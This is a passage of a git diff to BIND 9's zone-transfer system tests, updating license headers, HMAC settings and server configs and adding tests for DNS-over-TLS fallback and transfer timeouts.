+	type primary;
+	file "axfr-max-idle-time.db";
+};
diff --git a/bin/tests/system/xfer/ns1/root.db b/bin/tests/system/xfer/ns1/root.db
index 8aaa4ea9fd..58a675c63e 100644
--- a/bin/tests/system/xfer/ns1/root.db
+++ b/bin/tests/system/xfer/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/xfer/ns1/xfer-stats.db b/bin/tests/system/xfer/ns1/xfer-stats.db
index c57b786620..42e1c9cf8c 100644
--- a/bin/tests/system/xfer/ns1/xfer-stats.db
+++ b/bin/tests/system/xfer/ns1/xfer-stats.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/xfer/ns2/mapped.db.in b/bin/tests/system/xfer/ns2/mapped.db.in
index fc7911802d..d928d6977c 100644
--- a/bin/tests/system/xfer/ns2/mapped.db.in
+++ b/bin/tests/system/xfer/ns2/mapped.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/xfer/ns2/named.conf.in b/bin/tests/system/xfer/ns2/named.conf.in
index 4573ff0d6a..3fa20a3d9a 100644
--- a/bin/tests/system/xfer/ns2/named.conf.in
+++ b/bin/tests/system/xfer/ns2/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify yes;
 	ixfr-from-differences yes;
 	check-integrity no;
@@ -25,7 +28,7 @@ options {
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -33,7 +36,7 @@ controls {
 };
 
 key tsigzone. {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
@@ -57,10 +60,14 @@ zone "tsigzone" {
 	allow-transfer { tzkey; };
 };
 
+primaries "ns1" port @PORT@ source 10.53.0.2 {
+	10.53.0.1;
+};
+
 zone "secondary" {
 	type secondary;
 	file "sec.db";
-	primaries { 10.53.0.1; };
+	primaries { ns1; };
 	masterfile-format text;
 };
 
@@ -70,3 +77,12 @@ zone "mapped" {
 	masterfile-format text;
 	primaries { 10.53.0.100; };
 };
+
+zone "dot-fallback" {
+	type secondary;
+	file "dot-fallback.db";
+	primaries {
+		10.53.0.1 tls ephemeral;
+		10.53.0.1;
+	};
+};
diff --git a/bin/tests/system/xfer/ns2/sec.db.in b/bin/tests/system/xfer/ns2/sec.db.in
index 4ee2094af8..7978598507 100644
--- a/bin/tests/system/xfer/ns2/sec.db.in
+++ b/bin/tests/system/xfer/ns2/sec.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/xfer/ns3/named.conf.in b/bin/tests/system/xfer/ns3/named.conf.in
index bc58e99803..6b25c3c61b 100644
--- a/bin/tests/system/xfer/ns3/named.conf.in
+++ b/bin/tests/system/xfer/ns3/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,12 +20,13 @@ options {
 	listen-on { 10.53.0.3; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	notify yes;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
@@ -31,7 +34,7 @@ controls {
 };
 
 key tsigzone. {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
@@ -48,6 +51,7 @@ zone "example" {
 
 zone "primary" {
 	type secondary;
+        transfer-source 10.53.0.3 port @EXTRAPORT1@;
 	primaries { 10.53.0.6; };
 	file "primary.bk";
 };
@@ -66,7 +70,7 @@ zone "tsigzone" {
 zone "mapped" {
 	type secondary;
 	primaries { 10.53.0.2; };
-	masterfile-format map;
+	masterfile-format raw;
 	file "mapped.bk";
 };
 
diff --git a/bin/tests/system/xfer/ns4/named.conf.base b/bin/tests/system/xfer/ns4/named.conf.base
index cd00ccff59..80782329b8 100644
--- a/bin/tests/system/xfer/ns4/named.conf.base
+++ b/bin/tests/system/xfer/ns4/named.conf.base
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,21 +21,22 @@ options {
 	listen-on-v6 { none; };
 	recursion no;
 	notify yes;
+	blackhole { none; };
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 key unused_key. {
 	secret "1234abcd8765";
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 };
 
 key tsig_key. {
 	secret "LSAnCU+Z";
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/xfer/ns4/root.db.in b/bin/tests/system/xfer/ns4/root.db.in
index c675b902d8..29ee0ec45c 100644
--- a/bin/tests/system/xfer/ns4/root.db.in
+++ b/bin/tests/system/xfer/ns4/root.db.in
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/xfer/ns6/named.args b/bin/tests/system/xfer/ns6/named.args
new file mode 100644
index 0000000000..2be062bbdd
--- /dev/null
+++ b/bin/tests/system/xfer/ns6/named.args
@@ -0,0 +1 @@
+-D xfer-ns6 -X named.lock -m record -c named.conf -d 99 -g -U 4 -T maxcachesize=2097152 -T transferinsecs
diff --git a/bin/tests/system/xfer/ns6/named.conf.in b/bin/tests/system/xfer/ns6/named.conf.in
index d5079f11fe..87397b0619 100644
--- a/bin/tests/system/xfer/ns6/named.conf.in
+++ b/bin/tests/system/xfer/ns6/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -24,9 +26,11 @@ options {
 	listen-on { 10.53.0.6; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify yes;
 	ixfr-from-differences primary;
 	check-integrity no;
+	tcp-idle-timeout 600;
 };
 
 zone "." {
@@ -52,6 +56,20 @@ zone "edns-expire" {
 	file "edns-expire.bk";
 };
 
+zone "axfr-max-transfer-time" {
+	type secondary;
+	max-transfer-time-in 1; # this is tested as seconds, when used with '-T transferinsecs'
+	primaries { 10.53.0.1; };
+	file "axfr-max-transfer-time.bk";
+};
+
+zone "axfr-max-idle-time" {
+	type secondary;
+	max-transfer-idle-in 50;  # this is tested as seconds, when used with '-T transferinsecs'
+	primaries { 10.53.0.1; };
+	file "axfr-max-idle-time.bk";
+};
+
 zone "axfr-too-big" {
 	type secondary;
 	max-records 30;
diff --git a/bin/tests/system/xfer/ns7/named.conf.in b/bin/tests/system/xfer/ns7/named.conf.in
index 93c70b08a0..47a9b05767 100644
--- a/bin/tests/system/xfer/ns7/named.conf.in
+++ b/bin/tests/system/xfer/ns7/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -24,6 +26,7 @@ options {
 	listen-on { 10.53.0.7; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify yes;
 	ixfr-from-differences secondary;
 	check-integrity no;
diff --git a/bin/tests/system/xfer/ns8/example.db b/bin/tests/system/xfer/ns8/example.db
index d9a664bac5..8e8ccb9609 100644
--- a/bin/tests/system/xfer/ns8/example.db
+++ b/bin/tests/system/xfer/ns8/example.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/xfer/ns8/named.conf.in b/bin/tests/system/xfer/ns8/named.conf.in
index 76f2096221..17fee1f125 100644
--- a/bin/tests/system/xfer/ns8/named.conf.in
+++ b/bin/tests/system/xfer/ns8/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -24,12 +26,13 @@ options {
 	listen-on { 10.53.0.8; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify no;
 	transfer-message-size 1024;
 };
 
 key key1. {
-	algorithm hmac-md5;
+	algorithm @DEFAULT_HMAC@;
 	secret "1234abcd8765";
 };
 
diff --git a/bin/tests/system/xfer/prereq.sh b/bin/tests/system/xfer/prereq.sh
new file mode 100644
index 0000000000..c7b78281e2
--- /dev/null
+++ b/bin/tests/system/xfer/prereq.sh
@@ -0,0 +1,26 @@
+#!/bin/sh
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+. ../conf.sh
+
+# macOS ships with Net::DNS 0.74 which does not work with
+# HMAC-SHA256, despite the workarounds in ans.pl
+
+if perl -MNet::DNS -e 'exit $Net::DNS::VERSION >= 1.0'
+then
+	version=$(perl -MNet::DNS -e 'print $Net::DNS::VERSION')
+	echo_i "perl Net::DNS $version is too old - skipping xfer test"
+	exit 1
+fi
+
+exit 0
diff --git a/bin/tests/system/xfer/setup.sh b/bin/tests/system/xfer/setup.sh
index e2aa89fdd9..ff64d8fbdd 100644
--- a/bin/tests/system/xfer/setup.sh
+++ b/bin/tests/system/xfer/setup.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
@@ -21,7 +23,7 @@ $SHELL ${TOP_SRCDIR}/bin/tests/system/genzone.sh 7 >ns7/primary2.db
 cp -f ns4/root.db.in ns4/root.db
 $PERL -e 'for ($i=0;$i<10000;$i++){ printf("x%u 0 in a 10.53.0.1\n", $i);}' >> ns4/root.db
 
-copy_setports ns1/named.conf.in ns1/named.conf
+copy_setports ns1/named1.conf.in ns1/named.conf
 copy_setports ns2/named.conf.in ns2/named.conf
 copy_setports ns3/named.conf.in ns3/named.conf
 copy_setports ns6/named.conf.in ns6/named.conf
@@ -30,6 +32,8 @@ copy_setports ns8/named.conf.in ns8/named.conf
 
 copy_setports ns4/named.conf.base ns4/named.conf
 
+cp ns1/dot-fallback.db.in ns1/dot-fallback.db
+
 cp ns2/sec.db.in ns2/sec.db
 touch -t 200101010000 ns2/sec.db
 
diff --git a/bin/tests/system/xfer/tests.sh b/bin/tests/system/xfer/tests.sh
index 330f8f7e64..cd1a50a3e4 100755
--- a/bin/tests/system/xfer/tests.sh
+++ b/bin/tests/system/xfer/tests.sh
@@ -1,18 +1,23 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
 
+set -e
+
 . ../conf.sh
 
 DIGOPTS="+tcp +noadd +nosea +nostat +noquest +nocomm +nocmd -p ${PORT}"
 RNDCCMD="$RNDC -c ../common/rndc.conf -p ${CONTROLPORT} -s"
+NS_PARAMS="-X named.lock -m record -c named.conf -d 99 -g -U 4 -T maxcachesize=2097152"
 
 status=0
 n=0
@@ -33,27 +38,38 @@ tmp=0
 # Spin to allow the zone to transfer.
 #
 wait_for_xfer () {
-	$DIG $DIGOPTS example. @10.53.0.3 axfr > dig.out.ns3.test$n || return 1
-	grep "^;" dig.out.ns3.test$n > /dev/null && return 1
+	ZONE=$1
+	SERVER=$2
+	$DIG $DIGOPTS $ZONE @$SERVER axfr > dig.out.test$n || return 1
+	grep "^;" dig.out.test$n > /dev/null && return 1
 	return 0
 }
-retry_quiet 25 wait_for_xfer || tmp=1
-grep "^;" dig.out.ns3.test$n | cat_i
-digcomp dig1.good dig.out.ns3.test$n || tmp=1
+retry_quiet 25 wait_for_xfer example. 10.53.0.3 || tmp=1
+grep "^;" dig.out.test$n | cat_i
+digcomp dig1.good dig.out.test$n || tmp=1
+if test $tmp != 0 ; then echo_i "failed"; fi
+status=$((status+tmp))
+
+n=$((n+1))
+echo_i "testing zone transfer functionality (fallback to DNS after DoT failed) ($n)"
+tmp=0
+retry_quiet 25 wait_for_xfer dot-fallback. 10.53.0.2 || tmp=1
+grep "^;" dig.out.test$n | cat_i
+digcomp dig3.good dig.out.test$n || tmp=1
 if test $tmp != 0 ; then echo_i "failed"; fi
 status=$((status+tmp))
 
 n=$((n+1))
 echo_i "testing TSIG signed zone transfers ($n)"
 tmp=0
-$DIG $DIGOPTS tsigzone. @10.53.0.2 axfr -y tsigzone.:1234abcd8765 > dig.out.ns2.test$n || tmp=1
+$DIG $DIGOPTS tsigzone. @10.53.0.2 axfr -y "${DEFAULT_HMAC}:tsigzone.:1234abcd8765" > dig.out.ns2.test$n || tmp=1
 grep "^;" dig.out.ns2.test$n | cat_i
 
 #
 # Spin to allow the zone to transfer.
 #
 wait_for_xfer_tsig () {
-	$DIG $DIGOPTS tsigzone. @10.53.0.3 axfr -y tsigzone.:1234abcd8765 > dig.out.ns3.test$n || return 1
+	$DIG $DIGOPTS tsigzone. @10.53.0.3 axfr -y "${DEFAULT_HMAC}:tsigzone.:1234abcd8765" > dig.out.ns3.test$n || return 1
 	grep "^;" dig.out.ns3.test$n > /dev/null && return 1
 	return 0
 }
@@ -240,7 +256,7 @@ status=$((status+tmp))
 n=$((n+1))
 echo_i "check that a multi-message uncompressable zone transfers ($n)"
 $DIG axfr . -p ${PORT} @10.53.0.4 | grep SOA > axfr.out
-if test `wc -l < axfr.out` != 2
+if test $(wc -l < axfr.out) != 2
 then
 	 echo_i "failed"
          status=$((status+1))
@@ -412,13 +428,13 @@ echo_i "bad message id ($n)"
 sendcmd < ans5/badmessageid
 
 # Uncomment to see AXFR stream with mismatching IDs.
-# $DIG $DIGOPTS @10.53.0.5 -y tsig_key:LSAnCU+Z nil. AXFR +all
+# $DIG $DIGOPTS @10.53.0.5 -y "${DEFAULT_HMAC}:tsig_key:LSAnCU+Z" nil. AXFR +all
 
 $RNDCCMD 10.53.0.4 retransfer nil | sed 's/^/ns4 /' | cat_i
 
 sleep 2
 
-nextpart ns4/named.run | grep "unexpected message id" > /dev/null || {
+nextpart ns4/named.run | grep "Transfer status: unexpected error" > /dev/null || {
     echo_i "failed: expected status was not logged"
     status=$((status+1))
 }
@@ -448,13 +464,21 @@ $DIGCMD nil. TXT | grep 'SOA mismatch AXFR' >/dev/null && {
 }
 
 n=$((n+1))
-echo_i "check that we ask for and get a EDNS EXPIRE response ($n)"
+echo_i "check that we ask for and got a EDNS EXPIRE response when transfering from a secondary ($n)"
+tmp=0
+msg="zone edns-expire/IN: zone transfer finished: success, expire=1814[0-4][0-9][0-9]"
+grep "$msg" ns7/named.run > /dev/null || tmp=1
+[ "$tmp" -ne 0 ] && echo_i "failed"
+status=$((status+tmp))
+
+n=$((n+1))
+echo_i "check that we ask for and get a EDNS EXPIRE response when refreshing ($n)"
 # force a refresh query
 $RNDCCMD 10.53.0.7 refresh edns-expire 2>&1 | sed 's/^/ns7 /' | cat_i
 sleep 10
 
 # there may be multiple log entries so get the last one.
-expire=`awk '/edns-expire\/IN: got EDNS EXPIRE of/ { x=$9 } END { print x }' ns7/named.run`
+expire=$(awk '/edns-expire\/IN: got EDNS EXPIRE of/ { x=$9 } END { print x }' ns7/named.run)
 test ${expire:-0} -gt 0 -a ${expire:-0} -lt 1814400 || {
     echo_i "failed (expire=${expire:-0})"
     status=$((status+1))
@@ -463,17 +487,15 @@ test ${expire:-0} -gt 0 -a ${expire:-0} -lt 1814400 || {
 n=$((n+1))
 echo_i "test smaller transfer TCP message size ($n)"
 $DIG $DIGOPTS example. @10.53.0.8 axfr \
-	-y key1.:1234abcd8765 > dig.out.msgsize.test$n || status=1
-
-$DOS2UNIX dig.out.msgsize.test$n >/dev/null 2>&1
+	-y "${DEFAULT_HMAC}:key1.:1234abcd8765" > dig.out.msgsize.test$n || status=1
 
-bytes=`wc -c < dig.out.msgsize.test$n`
+bytes=$(wc -c < dig.out.msgsize.test$n)
 if [ $bytes -ne 459357 ]; then
 	echo_i "failed axfr size check"
         status=$((status+1))
 fi
 
-num_messages=`cat ns8/named.run | grep "sending TCP message of" | wc -l`
+num_messages=$(cat ns8/named.run | grep "sending TCP message of" | wc -l)
 if [ $num_messages -le 300 ]; then
 	echo_i "failed transfer message count check"
         status=$((status+1))
@@ -484,8 +506,8 @@ echo_i "test mapped zone with out of zone data ($n)"
 tmp=0
 $DIG -p ${PORT} txt mapped @10.53.0.3 > dig.out.1.test$n
 grep "status: NOERROR," dig.out.1.test$n > /dev/null || tmp=1
-$PERL ../stop.pl xfer ns3
-start_server --noclean --restart --port ${PORT} xfer ns3
+stop_server ns3
+start_server --noclean --restart --port ${PORT} ns3
 check_mapped () {
 	$DIG -p ${PORT} txt mapped @10.53.0.3 > dig.out.2.test$n
 	grep "status: NOERROR," dig.out.2.test$n > /dev/null || return 1
@@ -527,7 +549,7 @@ tmp=0
 # Use -b so that we can discern between incoming and outgoing transfers in ns3
 # logs later on.
 wait_for_xfer() (
-	$DIG $DIGOPTS +noedns +stat -b 10.53.0.2 @10.53.0.3 xfer-stats. AXFR > dig.out.ns3.test$n
+	$DIG $DIGOPTS +edns +nocookie +noexpire +stat -b 10.53.0.2 @10.53.0.3 xfer-stats. AXFR > dig.out.ns3.test$n
 	grep "; Transfer failed" dig.out.ns3.test$n > /dev/null || return 0
 	return 1
 )
@@ -562,5 +584,52 @@ retry_quiet 10 check_xfer_stats || tmp=1
 if test $tmp != 0 ; then echo_i "failed"; fi
 status=$((status+tmp))
 
+n=$((n+1))
+echo_i "test that transfer-source uses port option correctly ($n)"
+tmp=0
+grep "10.53.0.3#${EXTRAPORT1} (primary): query 'primary/SOA/IN' approved" ns6/named.run > /dev/null || tmp=1
+if test $tmp != 0 ; then echo_i "failed"; fi
+status=$((status+tmp))
+
+wait_for_message() (
+	nextpartpeek ns6/named.run > wait_for_message.$n
+	grep -F "$1" wait_for_message.$n >/dev/null
+)
+
+nextpart ns6/named.run > /dev/null
+
+n=$((n+1))
+echo_i "test max-transfer-time-in with 1 second timeout ($n)"
+stop_server ns1
+copy_setports ns1/named2.conf.in ns1/named.conf
+start_server --noclean --restart --port ${PORT} ns1 -- "-D xfer-ns1 $NS_PARAMS -T transferinsecs -T transferslowly"
+sleep 1
+$RNDCCMD 10.53.0.6 retransfer axfr-max-transfer-time 2>&1 | sed 's/^/ns6 /' | cat_i
+tmp=0
+retry_quiet 10 wait_for_message "maximum transfer time exceeded: timed out" || tmp=1
+status=$((status+tmp))
+
+nextpart ns6/named.run > /dev/null
+
+n=$((n+1))
+echo_i "test max-transfer-idle-in with 50 seconds timeout ($n)"
+stop_server ns1
+copy_setports ns1/named3.conf.in ns1/named.conf
+start_server --noclean --restart --port ${PORT} ns1 -- "-D xfer-ns1 $NS_PARAMS -T transferinsecs -T transferstuck"
+sleep 1
+start=$(date +%s)
+$RNDCCMD 10.53.0.6 retransfer axfr-max-idle-time 2>&1 | sed 's/^/ns6 /' | cat_i
+tmp=0
+retry_quiet 60 wait_for_message "maximum idle time exceeded: timed out" || tmp=1
+if [ $tmp -eq 0 ]; then
+	now=$(date +%s)
+	diff=$((now - start))
+	# we expect a timeout in 50 seconds
+	test $diff -lt 50 && tmp=1
+	test $diff -ge 59 && tmp=1
+	if test $tmp != 0 ; then echo_i "unexpected diff value: ${diff}"; fi
+fi
+status=$((status+tmp))
+
 echo_i "exit status: $status"
 [ $status -eq 0 ] || exit 1
diff --git a/bin/tests/system/xfer/tests_sh_xfer.py b/bin/tests/system/xfer/tests_sh_xfer.py
new file mode 100644
index 0000000000..c83d6e9692
--- /dev/null
+++ b/bin/tests/system/xfer/tests_sh_xfer.py
@@ -0,0 +1,14 @@
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+
+def test_xfer(run_tests_sh):
+    run_tests_sh()
diff --git a/bin/tests/system/xferquota/clean.sh b/bin/tests/system/xferquota/clean.sh
index 689cc33415..9cc405735c 100644
--- a/bin/tests/system/xferquota/clean.sh
+++ b/bin/tests/system/xferquota/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/xferquota/ns1/changing1.db b/bin/tests/system/xferquota/ns1/changing1.db
index f103492dec..0b5e893cf1 100644
--- a/bin/tests/system/xferquota/ns1/changing1.db
+++ b/bin/tests/system/xferquota/ns1/changing1.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/xferquota/ns1/changing2.db b/bin/tests/system/xferquota/ns1/changing2.db
index 9afaf71b8d..33dd7f4234 100644
--- a/bin/tests/system/xferquota/ns1/changing2.db
+++ b/bin/tests/system/xferquota/ns1/changing2.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/xferquota/ns1/named.conf.in b/bin/tests/system/xferquota/ns1/named.conf.in
index e42a821f62..e868318ae6 100644
--- a/bin/tests/system/xferquota/ns1/named.conf.in
+++ b/bin/tests/system/xferquota/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,12 +20,13 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify yes;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/xferquota/ns1/root.db b/bin/tests/system/xferquota/ns1/root.db
index 91692f79d8..c5049f4ed5 100644
